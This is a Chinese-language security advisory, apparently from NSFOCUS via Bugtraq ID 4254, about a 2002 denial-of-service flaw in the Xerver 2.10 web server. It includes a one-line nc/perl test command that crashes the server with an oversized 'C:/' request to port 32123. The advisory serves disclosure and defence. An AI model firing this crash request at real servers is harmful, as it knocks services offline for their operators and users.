| |
|
Xerver拒绝服务漏洞 受影响的系统: Xerver Xerver 2.10 - Microsoft Windows XP Home - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows 98 - Microsoft Windows 95 - Microsoft Windows 2000 SP2 - Microsoft Windows 2000 SP1 - Microsoft Windows 2000 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 4254 Xerver是种用Java编写的免费使用的WEB Server，可运行于任何支援Java虚拟机的作业系统上，包括微软Windows、Unix/Linux变体、MacOS等等。 据报告，向32123/TCP口发送一个针对大量"C:/"的请求，将导致WEB Server崩溃。必须重启WEB Server才能恢复正常。 早期版本的Xerver可能存在同样问题。 <*来源：al3x hernandez （al3xhernandez@ureach.com） 链结：http://archives.neohapsis.com/archives/bugtraq/2002-03/0091.html *> 测试程式： -------------------------------------------------------------------------------- 警 告 以下程式(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ al3x hernandez （al3xhernandez@ureach.com）提供了如下测试方法： printf "GET /`perl -e 'print "C:/"x500000'`\r\n\r\n" | nc -vvn 127.0.0.1 32123 -------------------------------------------------------------------------------- 建议: 临时解决方法： 如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁： * 暂时没有好的临时解决方法。 厂商补丁： Xerver ------ 目前厂商还没有提供补丁或者升级程式，我们建议使用此软体的用户随时关注厂商的主页以获取最新版本： http://www.javascript.nu/xerver/ |
| Copyright By「黑白网络工作室」2002 All Rights Reserve |